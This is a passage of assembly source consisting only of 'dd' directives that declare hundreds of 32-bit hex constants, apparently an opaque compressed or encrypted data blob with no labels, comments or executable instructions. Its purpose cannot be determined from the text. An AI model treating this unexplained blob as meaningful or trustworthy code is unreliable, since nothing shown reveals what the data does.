		dd 4B823EDFh, 8C1DC287h, 3081D9F9h, 41BFD35Ch, 0D5D8B60h
		dd 8CD2A084h, 0FFA499EFh, 0CBE8C103h, 0E044AACCh, 9FFE5F5h
		dd 0E8FC181h, 0D5D11A81h, 1848D667h, 0C803A595h, 6FE533F7h
		dd 0A49BB871h, 4C044C8Fh, 0B0BC2Ah, 0AE091BCFh,	0A0DF3368h
		dd 0B7CA3814h, 32C300E4h, 0DA61792Dh, 5BB43A1Eh, 478F2F00h
		dd 0EB65D9BCh, 7B46AA00h, 94B8DB40h, 0B5BE0012h, 0AD3E2830h
		dd 583A95CDh, 2DB981F8h, 90DE4FC0h, 0AC50E0h, 29F2BC06h
		dd 0ABAD52BBh, 14579E00h, 0ECB63308h, 0B47A003Eh, 0BF624388h
		dd 0AEF26824h, 80DF4938h, 0F3EFD3ADh, 7C762296h, 0F821002Eh
		dd 9BB4B7AFh, 7200C1EDh, 686D5F24h, 7139C909h, 0C01A00B5h
		dd 8F10CF16h, 4138D04Ah, 115F802Ch, 57AF2A4Ch, 5EC0C0BEh
		dd 7A25460Fh, 3444EA00h, 0B5851A30h, 0DEE8EF3Bh, 0F32900D0h
		dd 0AEE561AAh, 461705D1h, 0CE019B2Bh, 84879ECh,	0C465F2D4h
		dd 3363840h, 0CA393BC4h, 37F700DDh, 7C20ED21h, 0BE0B0176h
		dd 7BCD6D1Dh, 0C9BF7A3h, 0C4E3C000h, 1FC53DD2h,	5C413C4Eh
		dd 8F336707h, 0F224A014h, 27026118h, 4C8AF871h,	0D35D0097h
		dd 0B4149810h, 3800170h, 0C5D1F916h, 0C17244h, 551E80A8h
		dd 719A2648h, 0F4220E00h, 4511E336h, 58C83DE9h,	2629C981h
		dd 9C010923h, 25C2D640h, 8038B52Ch, 0C2413DC0h,	764800C0h
		dd 0E47CA922h, 46001494h, 0EC63C30Ch, 33DDC8Bh,	0C188B597h
		dd 29E0D606h, 93003889h, 8C4FBCC8h, 1440F43h, 0DF70A359h
		dd 0F8F35D54h, 320FAC27h
		dd 8ACD9E30h, 4F00E0C3h, 415AA4EBh, 0CCA9007Fh,	36D46CC6h
		dd 0E000E3E1h, 0A2181485h, 60D76B3h, 0D39C4755h, 5B07AEA4h
		dd 0EAE7B221h, 53912FA0h, 45243F71h, 1A251E80h,	65A97E60h
		dd 0F66EDC39h, 0C4B78F00h, 0FDA583BCh, 2E30009Eh, 0A93B5AB2h
		dd 3E7284A2h, 0FCCB39h,	8B8EAD6Ah, 3969BBFh, 875D4414h
		dd 7C80229Dh, 36183BD8h, 61C1BC2Fh, 8EDE097Dh, 24A1A757h
		dd 248DA5FBh, 74F364C4h, 6E003738h, 0CF28053h, 0E452ABD4h
		dd 480F0035h, 78EE4D7Fh, 50BF93AFh, 74F90BBDh, 0E7D49AF2h
		dd 80993204h, 0C5E64CC0h, 0EE1A0ED1h, 0D88661B5h, 3B282074h
		dd 0B400ACBBh, 5259D23h, 7D353785h, 99F400BCh, 613CD09Ah
		dd 30C06BD1h, 0FC109579h, 0E9F50159h, 0B1EA6DAEh, 8244D1ADh
		dd 0FC94B421h, 8DCE6083h, 0C3291CE8h, 745CCC31h, 9C017520h
		dd 258CB026h, 0FD308D4Eh, 5908C64Dh, 7C1F200Eh,	0FC2B062h
		dd 6056E957h, 0B7334F7h, 0FD0A4514h, 757F2C80h,	0F00036D1h
		dd 6B211AEEh, 0E1E3C6Fh, 0B9E384D6h, 0C569EC23h, 0A7255000h
		dd 18A30FF2h, 0BFCE07FAh, 106F9D53h, 0F38D98F5h, 472A7200h
		dd 0A17918B2h, 607E2954h, 2DC8E220h, 548B9F30h,	0EEB87Fh
		dd 0B2509447h, 2344F641h, 99FDF30Ch, 502A2177h,	0F47191A6h
		dd 0DB3601BAh, 0F6D81BC6h, 0BB7D2018h, 499F8F1Ch, 0E44CED1Eh
		dd 60A73880h, 7E7B416Bh, 0BC0060BDh, 9F17E04Dh,	2620ACD5h
		dd 7C2DB4Ah, 732B7C43h,	49D880CBh, 0B3001B03h, 0D0CC7E9Ch
		dd 3AECB4C9h, 0A680B1C6h, 982E34B9h, 2317CFCAh,	5D0048E5h
		dd 0BB9742C3h, 10573CE8h, 4DE2B383h, 0AAC1F69Dh, 95ABE029h
		dd 0A2E65203h, 0FAB123A8h, 218FC0CAh, 0D6F247h,	2A793F5Bh
		dd 0ED114B19h, 1F56907h, 0B4406A0Ch, 0B3F84Ah, 7123C02Ch
		dd 0A0C650A2h, 0D43EB000h, 15DA2F46h, 4FE2004Dh, 0CC084967h
		dd 0B7008264h, 54148EB5h, 3838F86Bh, 0AE00E743h, 0B32ABE6h
		dd 3D03BC2Dh, 20862819h, 411420Ah, 710057A8h, 0D5799C25h
		dd 0A1F215h, 4FB481Fh, 84CC0A38h, 3662EB03h, 0CBBD357h
		dd 0E0EDD538h, 6449729h, 611D20DFh, 22B8CF22h, 834244DDh
		dd 21623711h, 4DA23F3Bh, 0BF7F44h, 0C4E9E2C1h, 0F9FD85B8h
		dd 0EBAEF600h, 976B02FBh, 0AFED0167h, 9BC388A2h, 98BBFC5Fh
		dd 7665AC06h, 0F809547Dh, 2E83005Eh, 0B4DC7B4Bh, 9F0015AEh
		dd 0A4101EB8h, 0E86D06h, 2DA7E7C5h, 0E6DCED12h,	930029FCh
		dd 73521562h, 0B744A0h,	807A0432h, 0CEADA7EBh, 8050BD3Fh
		dd 9EFA585Eh, 68C63Eh, 0F4EDDFA1h, 13E5A953h, 94643600h
		dd 0DD44BBBh, 0B021FC9h, 9F9880CFh, 1F268B90h, 9E239524h
		dd 7A15A01h, 2880438Dh,	48D12E4Eh, 89009FEDh, 8294765Fh
		dd 1CFE869h, 0FF13275Eh, 57246BDAh, 0A99370E4h,	4900EA3Ch
		dd 756F3F2Ch, 75660B87h, 90BF61E3h, 8EC1363Dh, 0E02C525Ch
		dd 0F7A2FDB6h, 0F8D00ED4h, 0C03EBB3Ch, 0B3BF4617h, 80481218h
		dd 0E53910h, 0E05AB8F1h, 3F52ADFh, 0E6E785B7h, 508080DCh
		dd 0D10F6B86h, 0FF0F4282h, 8CAF6A80h, 65D41Bh, 0EF71F134h
		dd 0D9E6950Ah, 266EC400h, 6CE83974h, 0FDAACF9Bh, 3E162580h
		dd 82007010h, 43AB767Bh, 9E3824h, 4E785620h, 0AE1F4133h
		dd 7D0F1B98h, 0E0A88FCBh, 0C83DD50Eh, 715F0323h, 0E3FAF8CDh
		dd 0AD2B6EE8h, 201B360Eh, 40F56F04h, 0C6F9A024h, 0E69D3A28h
		dd 7EE52587h, 469F904Dh, 110050B9h, 0C12A2D20h,	1E343EE4h
		dd 4033B0AAh, 2F4D8FE0h, 791DBA0Ch, 4400EE3Bh, 160934D8h
		dd 1FF50180h, 42CE8BF3h, 0F09BE0Bh, 607DFD88h, 6B632A9h
		dd 0ACD8004Dh, 8AFF09C2h, 0F0130AF4h, 50E65BBh,	226E80BEh
		dd 1E7A2Ah, 211BBF71h, 2E5B02Dh, 0EDAD9A07h, 0C6708341h
		dd 7573140h, 9BAE1C8Bh,	0EAC840E2h, 160A2B47h, 0F8BDC0C4h
		dd 50E9BF00h, 4E8B9Dh, 84490A71h, 0C768D982h, 4C799F1Dh
		dd 620FFA01h, 28206333h, 0CA3205Fh, 5026F307h, 4EB09A6Bh
		dd 0D6374Dh, 0F1216EE7h, 0CA77F6Fh, 0C933DD02h,	801A9A53h
		dd 0E8AA10ECh, 0BEF53079h, 89EB6498h, 32007EF6h, 60172550h
		dd 0EB4A1A07h, 0EA3138E4h, 0D0C61DD8h, 8CF1C048h, 0DFE6FD7Dh
		dd 0B5BB5E0Bh, 0C0CB0FE2h, 850F7CB7h, 0D5A00340h, 0F8A6AB6Ch
		dd 83668AE8h, 720EE704h, 60C03493h, 0D212FCh, 0C341C94Bh
		dd 0DD42AC44h, 0FB64E1Eh, 40B2DA8Fh, 12CD51C0h,	5C310079h
		dd 583E3011h, 6A9C7B14h, 4027C3Ah, 37849169h, 15605527h
		dd 0C01E53F5h, 803D1EB6h, 444D7416h, 1F075CC9h,	4095CF5Ah
		dd 775243A4h, 1414F4BEh, 728C1762h, 352C3C00h, 3C1A171h
		dd 0DD21002Dh, 51CFD60h, 0D8006D62h, 410C3504h,	5AB7C6h
		dd 5BF2EDD3h, 0B53D9A14h, 5D8F4400h, 0D82BF0ECh, 0BA260F13h
		dd 48207AD5h, 82377359h, 79558600h, 2FC038BBh, 0EA340075h
		dd 0EE11BCD1h, 4600C369h, 0B4053907h, 0B0637h, 8B898241h
		dd 0BC569B48h, 7FC45107h, 6D9049FFh, 0A7B277h, 0CD656A6Fh
		dd 677C36E4h, 20B68B07h, 11933DDBh, 0D646F8D8h,	0E8552428h
		dd 6F06004Ah, 2A64B525h, 89AF0D01h, 37ED9773h, 117AFCh
		dd 0CDD5687h, 5BA23188h, 0DC668001h, 0AF5835EBh, 0D10FCh
		dd 73403237h, 9A337459h, 80B15A00h, 89F47E3Ah, 1B9B0272h
		dd 4FFB7C28h, 2BC4B582h, 0FC0064CAh, 6C7CDF9h, 990A2573h
		dd 0FE015391h, 806F1409h, 398CCE4h, 0DEFB00E4h,	5B6C8679h
		dd 6807203Eh, 0A716C878h, 58412E60h, 1A40066h, 3BE39DADh
		dd 0D0E57C7Eh, 6F162581h, 0C8001AE8h, 220EA524h, 17DF032Eh
		dd 0E6119274h, 0CF67C0D7h, 9B00BE3Bh, 76715CA9h, 38CED54h
		dd 6A2D752Ch, 0CF88CB1Eh, 72F0090Ch, 0B97A4D07h, 8625637Bh
		dd 20658800h, 1710437h,	6866432Ch, 0D94D5C27h, 0E3F60CFh
		dd 0B6D1CC06h, 0F809C40Dh, 22E50256h, 8BBAB7B3h, 62603860h
		dd 0F10BFF00h, 383A3F79h, 8DCC00C6h, 51982F90h,	0F50086FBh
		dd 0F3CAF0A5h, 3AC53B6h, 5D36CE49h, 9980F48Ch, 9200D424h
		dd 6FDC4BC1h, 387957C0h, 400773Dh, 6582449Ah, 0BD00AB52h
		dd 0A362D57Fh, 13A692AEh, 722FA4h, 0AFAA4364h, 0D133032h
		dd 4000826Bh, 885A6619h, 0BDCB07F6h, 0C03722B7h, 0C9EAE609h
		dd 2814B139h, 0C100EC86h, 0E77F90D3h, 7891E546h, 0F127322h
		dd 0F7B1CBE9h, 6ABC3100h, 0C43F9BD8h, 81EA8076h, 0F5E20194h
		dd 39542449h, 0DC11009Eh, 7F556F79h, 0EB0B3000h, 4E5782Dh
		dd 0CAD40091h, 0EA4A38BEh, 4E1D5221h, 1D13029Bh, 26488C02h
		dd 0DD700009h, 0AA00E397h, 0F5ED28B6h, 3FF1A6Eh, 1D5FB2BEh
		dd 0A00087B5h, 0A7DACC2Ch, 0A15436D2h, 2C08698h, 536E3C50h
		dd 642F2Ch, 80196520h, 9EEE3703h, 1396E21Dh, 560068A4h
		dd 0A31D68E9h, 146100ECh, 1673F2A4h, 6F0EEE6Eh,	0C07B4F22h
		dd 0B9E98823h, 0BAFF00B1h, 0A9FBD4BFh, 0F568ACD2h, 0DE809008h
		dd 0C1DF9D3h, 0F18D0E6Fh, 0AB80B8A0h, 97A8C046h, 0BD588C00h
		dd 0F47DCA66h, 708E1ED1h, 3AC1C035h, 0BE06AD3Bh, 0D8EDC600h
		dd 88CA50B6h, 0B01A0555h, 71DFE10h, 0E022F88Ch,	120E4EA7h
		dd 50050C90h, 85207F84h, 0A2D68800h, 78A9456Fh,	0FCF81673h
		dd 888C4C2Ah, 9100D820h, 63B2C279h, 240C70B8h, 4045EF9h
		dd 880E21Dh, 0F69B80CEh, 5B2D87B2h, 63F29FA3h, 6DE83448h
		dd 0A1D41300h, 1EE4755Eh, 657D0227h, 7CC77E7h, 0A087D480h
		dd 8B006922h, 0D726607Ah
		dd 0BDE354CFh, 1D004178h, 7ED0A9C8h, 617CF99Eh,	9F9AE8F7h
		dd 98740236h, 973DA9Ch,	68B9E5EAh, 0E6D1E000h, 6017F16h
		dd 31DEEB4Ah, 1C205AD6h, 1CB9589Ah, 29F42800h, 57AC817Ah
		dd 54005074h, 4119BE60h, 1F7FF169h, 406D7296h, 7D053D0Eh
		dd 0B900EAEDh, 9BBDDDFEh, 30135AFh, 0F08D2BFFh,	60D0E161h
		dd 0DF00ABD6h, 7464B3B0h, 4148DCh, 8E3D2A2Bh, 8CC40820h
		dd 0BB816800h, 14BDEE36h, 21DE018Fh, 282FA3D9h,	0CA842054h
		dd 3A0084FAh, 46D9069h,	737CA1h, 19549857h, 53359F10h
		dd 2AEE7B05h, 24C70399h, 3CDACFB0h, 0FAD700F2h,	0F87A6B65h
		dd 3000AF89h, 0E702CC78h, 0E2E3F87h, 851B4DE3h,	95FCAA0h
		dd 3AF413C9h, 1A0B9907h, 0DBF0B596h, 1D1CE494h,	0C082B6FEh
		dd 9A12F3CFh, 6400BE1Eh, 0D9511042h, 0C0CAEEh, 0FB153F41h
		dd 7F76D768h, 0C73B8600h, 0A61A321Ch, 0EDA437DFh, 25426028h
		dd 0D900E8EBh, 14473CD8h, 0C475D01Fh, 0D072B621h, 0B7372DF4h
		dd 0C37DF500h, 23967B69h, 1C1F3B2Ah, 2CB03C00h,	2E24E774h
		dd 2D7F2100h, 8BDE98D1h, 78AF0096h, 0CEC6D7A8h,	0BB00B08Eh
		dd 0E2220B6Eh, 3ADF401Ah, 2C89D90Fh, 0D020BEE8h, 0D76B8E7Bh
		dd 43AC8D0Fh, 50FCC6C8h, 2AE2F4A6h, 0ADC5AFDh, 55348F95h
		dd 633700DDh, 0D48246C0h, 0AFB9A509h, 120D8070h, 0B8152507h
		dd 0E6C500AEh, 82F84D2Bh, 0AA00B32Fh, 494C99A1h, 21E41Bh
		dd 8C193431h, 0D1F546D0h, 38F3653Ch, 0F2DA89F7h, 81B8A0F8h
		dd 4C0CCED3h, 5E038D14h, 0EE097FA0h, 0B44860DAh, 0F500F2F6h
		dd 4933E683h, 2D89FA3h,	0D1D97D1Eh, 28416275h, 0BC4C804Bh
		dd 21F9C941h, 0A0931FB9h, 3BF74286h, 5C5060FBh,	0C147AA0Eh
		dd 0D94C4064h, 96E90DDAh, 38D70058h, 8B6C1783h,	4E6B581Eh
		dd 0DA002E5Ch, 0B23C6172h, 91B62CB8h, 0C05CBD48h, 36404C8Fh
		dd 0B7CEF774h, 0C7F97001h, 23246DB1h, 2100A82Ch, 0F472F095h
		dd 3B015150h, 0D72F46B4h, 0D3E47387h, 605B0006h, 0F5C8B936h
		dd 0C113FE7Bh, 2000F72Fh, 123E3373h, 82F60083h,	0ACF33BDEh
		dd 0AF3D756Fh, 185F007Eh, 0A0DAF28Eh, 0C7AB00C3h, 87C2382Fh
		dd 0D60002A2h, 0DDA7AE2Dh, 75AA364h, 1DD8B74Bh,	9802036h
		dd 5401E417h, 0EB96C1D0h, 62005B99h, 892CAA7Dh,	813EB46Ch
		dd 70555065h, 0D4234C67h, 8E4F371Dh, 8D20BEF3h,	46C1BFFEh
		dd 0C277FD1Ah, 0B5E24008h, 0E7C30BD4h, 1080CF89h, 0B0C1E70h
		dd 0B5E54896h, 0DD55F4C0h, 9ED116C9h, 8E6C409Bh, 60C8474Ah
		dd 6708B00h, 50973D33h,	7C9A022Bh, 0F093E4BEh, 34AE1E0h
		dd 0AD5E3500h, 0B3A71CEDh, 0ECFC50F1h, 0C89902F2h, 0C906CB49h
		dd 70662461h, 3E75633Ch, 1876039h, 39379179h, 26F9E8F7h
		dd 3E64FC51h, 0EE3D7838h, 0BE02A300h, 639DC355h, 0BBD3B102h
		dd 0C3762986h, 467800DDh, 4371F733h, 6877C6E1h,	36E3590Bh
		dd 48768008h, 16417AEh,	0DFF1A6D2h, 6057B421h, 0F20E2F8h
		dd 0B8FC3020h, 0ED7C92E8h, 0CC1CEE4Bh, 0C40CA1C0h, 16410h
		dd 0F8B2CC31h, 7E92E7B6h, 6C13C003h, 9872C94Eh,	204F57h
		dd 0D22CEA3Bh, 7360F954h, 933CC807h, 1920F628h,	0DB3C1h
		dd 0C29BE3D9h, 9C7D51D7h, 0B4C6550Eh, 1BADE00Ch, 0A3A6Ch
		dd 984F8650h, 5C91326Dh, 8F01E900h, 52C42DC8h, 43331280h
		dd 41540034h, 0FBBACF11h, 0A8EB9802h, 22D323h, 13B6E935h
		dd 44781F7Dh, 81D6CF3Ah, 6D4508D9h, 1BD4897Bh, 6CE300A0h
		dd 59063961h, 0FB01CBF1h, 7624414Fh, 0C6CCE91Dh, 0E7850005h
		dd 1ADAF334h, 8A031401h, 63FFFE50h, 0F4A1C0F6h,	7BA27278h
		dd 0F840923Dh, 8CBF0EC9h, 8EA7CFCBh, 0DAC551F5h, 0DBC4F042h
		dd 17BE0F00h, 18558B38h, 4C91067Bh, 8923C23h, 5DA3350Fh
		dd 60774236h, 2968E010h, 251700F4h, 0CE4E5F50h,	7D004F52h
		dd 3641834h, 2866006h, 48EEBD1Bh, 644094CCh, 9117EF0Dh
		dd 69093AF9h, 79C0C851h, 60144C39h, 9B13F001h, 3097ED5Eh
		dd 3B003254h, 0DEFE6DA3h, 16DC4A85h, 0B477FFh, 0F2248FECh
		dd 75093CC3h, 140A8C48h, 0C12C4560h, 894C0020h,	2ED8E196h
		dd 61AD04B5h, 0F60B0EFFh, 8D6809B4h, 4A748130h,	0EC400F08h
		dd 0F6BEF2Fh, 0B5B3E752h, 0D9D0240h, 8C00CF78h,	1FA666DAh
		dd 3AD7226h, 0FDA9D09Eh, 0FB95FCA5h, 0DBA1B00h,	44A6EC2h
		dd 5F32A719h, 0BFC88001h, 520196F9h, 8E30B72Ch,	0A5603873h
		dd 2A4B00F6h, 0ADC51560h, 0C70016BDh, 0BE4CF1Fh, 0AB3EFEh
		dd 811B668Ah, 821C998Ch, 6801AF98h, 3383F660h, 0D0314B06h
		dd 0DF2004Eh, 0C856EB33h, 11A829Ah, 0D118F843h,	20533174h
		dd 0B533E04h, 0D7191EB0h, 0ECA92F00h, 0F5D807h,	0C4A386D4h
		dd 782EAACAh, 4EE58301h, 4597F814h, 0DF10CCh, 326798F1h
		dd 0A7926241h, 0C75DD700h, 17F36B68h, 3D5700D6h, 0E732AD2Dh
		dd 84002E0Ah, 2DA700Dh,	3BD1B3CEh, 17A8348h, 5463E805h
		dd 0E03DA70Eh, 0F100FA16h, 9E7E6CC2h, 1F59205Dh, 40FD2EECh
		dd 9CB7ACA0h, 0E40940FEh, 68F3BE92h, 1CB2C87Ch,	0E57B0810h
		dd 26ED5080h, 51005E50h, 0BE8AC644h, 3FA31322h,	0BF14742h
		dd 0DEE566D9h, 939D3100h, 214BD5F2h, 24A7F0h, 0F7C6CF18h
		dd 0EBF95C39h, 430FA890h, 0C069861Ah, 5191E0DFh, 0D313122h
		dd 395ADA71h, 0CBB601C0h, 83AFD6F1h, 61C7D2D0h,	0DBAC188Ah
		dd 0F95FE0FFh, 53103C60h, 0E85117F1h, 1EC11CB3h, 625240E9h
		dd 0EDEE1F89h, 7162900h, 0D5548093h, 0D4923EAFh, 9D38BD30h
		dd 58C08450h, 0DD9F32Dh, 0B7390071h, 0CB297354h, 462C7225h
		dd 5A801434h, 74CE224Fh, 0ACEA2Eh, 0A480A7E3h, 0FF4BB49Eh
		dd 1C004E5Ah, 84EBC33Dh, 71080C8Ch, 0F30897ECh,	2253910Ah
		dd 0DA42B043h, 0D878AC74h, 394F00D6h, 0DC2D37E3h, 6200857Eh
		dd 7887A563h, 23E1FA1h,	4B5D79EBh, 10401CE9h, 0A007C02h
		dd 225FDEEFh, 1F9E7688h, 804817E3h, 82E42E12h, 78008187h
		dd 393FB126h, 7BAD19h, 7083C292h, 73FC2299h, 0FB467D00h
		dd 0C5BD8D01h, 77960E1Ah, 1942BC11h, 6440C49Bh,	0FC00D4ACh
		dd 0EF11202h, 0EBEEC2h,	0BDC90CC7h, 7922384Dh, 9D32BB00h
		dd 241D041Ch, 0D0F001B2h, 0A6DCBCD1h, 31A3FC43h, 36616607h
		dd 54F23CDAh, 0DCC0A07Dh, 0ECD5FE1h, 911DA0F5h,	4611D107h
		dd 0C20021A1h, 9B724A6Bh, 15FE2E71h, 0B83E92A9h, 0D2ABA500h
		dd 0CF362F0Dh, 0BB538E00h, 0A3A81FADh, 1784A226h, 80AD9138h
		dd 339E37C8h, 1FB2002Bh, 3D86BC69h, 0DCA82045h,	0F800CB83h
		dd 0C1F9F602h, 2249EAh,	15E3F29h, 0E27DA96Bh, 0B67EFD01h
		dd 3630206Eh, 0F52D3980h, 0AE7C3795h, 0E70A1F78h, 5430F2D7h
		dd 1AC465Eh, 592338B9h,	0D6C87F88h, 0BF704C1h, 7990BAh
		dd 0EA1448D7h, 33779Ch,	0B3863216h, 585EF809h, 1D004892h
		dd 91EB652Ch, 328470C8h, 0DC08FDDAh, 0F0CE8048h, 76F6500h
		dd 0BDF705A0h, 0C7C1C023h, 7B5E8A9Ch, 0A61083E7h, 8001555Ch
		dd 0B6C003h, 98B05BD9h,	9041F4BEh, 9305400h, 1A2AF28h
		dd 92EA4Ah, 136C3E53h, 6BB4DC96h, 0FD02E800h, 2AA04126h
		dd 0CA5900CDh, 0C3B825F9h, 100A556h, 0DC0D37A3h, 48909D2Ch
		dd 8F00C8F7h, 5F7A3527h, 5A004348h, 0F225742Fh,	3CC47E01h
		dd 373751AFh, 80C06530h, 0F60511C9h, 4DB07000h,	0BA04A154h
		dd 89DA1C43h, 0BBD84FBFh, 0C19F6283h, 0E8FCF1E8h, 82C5E100h
		dd 326910A0h, 8EEC0E5Eh
		dd 9D40BBA5h, 6ABFF54h,	0C886330Eh, 5E81C035h, 0E3A8E03h
		dd 0E08044A1h, 51059AE0h, 0FC3A0EEBh, 0FE6C06FFh, 22187609h
		dd 1F009779h, 0E5400B25h, 18E8FC5h, 0FE0CBBCEh,	10857A59h
		dd 3C1CB903h, 0E03E82C4h, 4700B338h, 0E430747Bh, 27002BC5h
		dd 0D01D58C2h, 9E0FE3h,	1F322205h, 8C67083Ch, 7D937300h
		dd 0C22040B9h, 87ED1FD6h, 3DF5EE53h, 0F1C4B080h, 3451A466h
		dd 8600037Ch, 0E55BE0CEh, 1E1C45F8h, 0C0FBC306h, 922E5407h
		dd 8D3A1462h, 42E9137Eh, 8808A719h, 69FB2180h, 121E7714h
		dd 45D0D117h, 0B703C5B8h, 0B22E9C2Dh, 7D993A80h, 60F03801h
		dd 0DF1A6FB9h, 28B3A9E5h, 3094E670h, 238A4759h,	96116A7Eh
		dd 1460C400h, 75FFC73Bh, 0A18AAF00h, 0E938A44Bh, 0E7742Ah
		dd 0B95F4EF4h, 0B242333Fh, 9E55920Fh, 90518C9Fh, 34D00A0h
		dd 678977C1h, 9C680B8h,	2055A8h, 1204C5C0h, 4042E151h
		dd 0CF1B1A0Eh, 0BFB0581Dh, 4ECA0D75h, 0C051F589h, 4838F71Bh
		dd 0A7449FF3h, 3121CE99h, 0A550F888h, 2FF8D806h, 0F42B0030h
		dd 459DFCBBh, 9538251Dh, 8F3B80D1h, 65153298h, 0ECA2F40Ch
		dd 0D0083B2Fh, 50B640E0h, 66313D9h, 98C5CCh, 0FC467390h
		dd 385836D5h, 56B66A07h, 19503D1Dh, 3A1FD6h, 8C2A4466h
		dd 0AC6EEBADh, 0E1DE1C00h, 107CFCDh, 2B370093h,	9A9D038Ah
		dd 3F90761Fh, 8F00C17Eh, 187A0C5Eh, 60C58597h, 410A11BBh
		dd 0E801B4E9h, 0D463704Eh, 3E8AA82h, 0ED2E00B1h, 480CADF1h
		dd 2F007B8Fh, 3704D515h, 9C9C271h, 0F5554B3Dh, 5DDAAC83h
		dd 4585068h, 46E418F4h,	7CA61009h, 48D21424h, 171B003Dh
		dd 305D8C45h, 0E460031Dh, 3A76AC5Fh, 2903A431h,	94111A62h
		dd 656B1172h, 151E02F6h, 0CA210E24h, 42B81774h,	0A24124Ah
		dd 12267E21h, 66B01003h, 80193688h, 220062F1h, 466D959Eh
		dd 3CF4F6h, 263E8E66h, 35CC8463h, 0B4559C00h, 0C5D0A1E6h
		dd 9EC600B3h, 0B98144DBh, 0DD0025B2h, 0D4FD94A7h, 45103h
		dd 12D01068h, 0E596EACEh, 0BA540D00h, 4C9CEDDCh, 31F22Eh
		dd 0A0B5C7D0h, 0E6B0647Dh, 3B551900h, 0E42FDD07h, 0F1719Ch
		dd 8B2C931Ah, 6BC5CD8Eh, 86F6DB00h, 7CBFA9E8h, 0A7DE00E0h
		dd 6774559Bh, 7660B3B5h, 6B9A3F56h, 0F88C3CF7h,	5C53EA80h
		dd 0F20927AFh, 1F9C7300h, 7F3067F3h, 8CEC00D5h,	520312C2h
		dd 1002C07h, 5EF659Ch, 0B23CF5h, 385F0468h, 2AFD859h, 8017EA3Dh
		dd 92875011h, 847E2Bh, 52F6D47Bh, 0D5B4A5A8h, 19EFBC12h
		dd 32630800h, 42CECCh, 669A102Ch, 9EAF383Ch, 3D03CB00h
		dd 1E69EE84h, 4FB13E6Eh, 902FD200h, 8D2489F4h, 0CCA01F73h
		dd 0FC3F5C77h, 0BC8181D1h, 98A4BF0Ch, 119BE0h, 0E6E2BDBh
		dd 3DAEB631h, 0C491C114h, 5D007E8Ch, 0AC3929B5h, 50FDE5FCh
		dd 7ACAA2h, 0F9CED666h,	2BF7AD3Ch, 0E9986F00h, 0BBAC386Dh
		dd 3A8F0E52h, 0B061AF81h, 248DE742h, 9800A974h,	0BDF81A03h
		dd 5261F7h, 0ACBFA112h,	0F62AECC4h, 75C77100h, 873B9AB8h
		dd 85F88Fh, 6972BE90h, 0FADD4953h, 201ECE4h, 0A5883A2Eh
		dd 77E89E34h, 0B7600F5h, 0CAD33959h, 0A00D5B1h,	9B1A1F1Eh
		dd 1EA46C45h, 47CCB7FEh, 0E496DBD8h, 9C08061h, 6D00C9BFh
		dd 93F15AC7h, 0F4454B9h, 71177337h, 5B3D8921h, 4E12D8E4h
		dd 19E9A000h, 8A694F86h, 0B4240097h, 5917F5C7h,	53007568h
		dd 5A6A0750h, 67FBAFAh,	3BEE0394h, 0EA0018FDh, 0C461808Fh
		dd 3A26F031h, 0E7808A93h, 8D02CCF5h, 0A1F6A930h, 0F304F400h
		dd 77613B0Bh, 0E83D00EAh, 6A392C76h, 0B40032F5h, 0EB50C830h
		dd 0AB58EFh, 8254DDAAh,	0E6B160D0h, 60CCE00h, 0B79EB3F2h
		dd 3FBB003Ch, 518E0785h, 67034F27h, 6B5E46A1h, 0D63A873h
		dd 7AD50E5Bh, 0CF1FCCBDh, 0A0804F02h, 0FA1AE032h, 7C4DD600h
		dd 2391CF18h, 941D0008h, 0C7E18007h, 7A7AC3C4h,	0B5C5F300h
		dd 51D81BEFh, 0A5CD01A1h, 0F58533DBh, 39BE8DCh,	0B48D360Fh
		dd 1D12A65Ah, 0E0A600D4h, 4FC4023Fh, 3000EEC1h,	0C99528BEh
		dd 7C910679h, 0A4010E07h, 8C421FBFh, 0D7E04A4Dh, 0A97C6580h
		dd 0F0689D00h, 8A7FD04Bh, 7D4300FBh, 38977B82h,	0D6F0E68Fh
		dd 0BDD7A1Ch, 0CAFC9307h, 8D212E20h, 9DCE00A9h,	0D085BEA6h
		dd 0A800E489h, 0F7B38236h, 206B8DAh, 5A875701h,	0DF8067AFh
		dd 0DECA8B02h, 0EA4D2B1Dh, 0B56D81C0h, 3ACBFB76h, 5787789Fh
		dd 0D3E2DD82h, 0B4807A43h, 2300F43Ah, 89F9C5D8h, 0F9F3E10h
		dd 1C517B86h, 0AD5A6F40h, 9C0108EEh, 7FF29237h,	2E606AF8h
		dd 87FF1C3Eh, 0D89881AAh, 206242A6h, 2C001C8Ch,	3F869974h
		dd 806B7Ch, 4456A86Dh, 7D849240h, 0DD97ED00h, 0E9765AF2h
		dd 0CDDE00DBh, 0A5530FB6h, 9D0033FEh, 0B2AB5F38h, 9522C7h
		dd 514768A1h, 0DD81B85Bh, 82005DFAh, 0AEFE96E8h, 0DC12D3h
		dd 0C4A6ECA8h, 0F1C9C1A1h, 245EAA00h, 2E6BDDFEh, 57400090h
		dd 1CE3D292h, 30029CF8h, 0E1028DEDh, 8F02E067h,	342C0E04h
		dd 5940C95Eh, 0C6E81CB8h, 510EC201h, 653AC3ECh,	0E12F3E4h
		dd 2CE904Dh, 869B360h, 5200DA82h, 0D9FC578Ch, 32ED8BDh
		dd 0CDAF926Ch, 7AA80B6Ah, 681D8034h, 0F3802779h, 437EBAC8h
		dd 0AEAB0070h, 505A12C6h, 990023C9h, 0A5786127h, 297590h
		dd 4DE39AD1h, 8F2156A1h, 648EB800h, 5F051E78h, 0D4CD070Ch
		dd 684D09h, 2EC302BDh, 4751A500h, 2569468Dh, 0DA8A269Eh
		dd 0CFE70CF9h, 0D9073A7Ch, 7E2C3C5Ch, 40BFA7F7h, 3123BCF1h
		dd 959C07AEh, 10595D0Fh, 357A8540h, 412FD100h, 0A1B0F456h
		dd 0E3DF3992h, 0A52CA080h, 980A7168h, 0AB5E1A02h, 404E8EAFh
		dd 73C86323h, 6E2A002Bh, 0C420C176h, 0C0BA15Bh,	2A6ACh
		dd 4D883405h, 460828E3h, 0F90E07B8h, 40422485h,	0EB2E3632h
		dd 0D8732A00h, 7B9B1BA5h, 6A3E0039h, 6E9CA22h, 0B200FF44h
		dd 0B6A57503h, 0C1D45Eh, 2943BFC2h, 0FFB71376h,	58D28840h
		dd 68502459h, 0BD8A00A6h, 0EA4F7FDAh, 0A500BBBAh, 0BCCBA397h
		dd 0A2EE1756h, 103740B8h, 6E4607E9h, 40B121D3h,	0B0202B28h
		dd 4BA94900h, 0E98853EFh, 9D709DE4h, 0A4EAA01h,	0AE6683C2h
		dd 3AA668A6h, 10D6C80h,	0D120F0F3h, 0B4410303h,	0C2655D3Fh
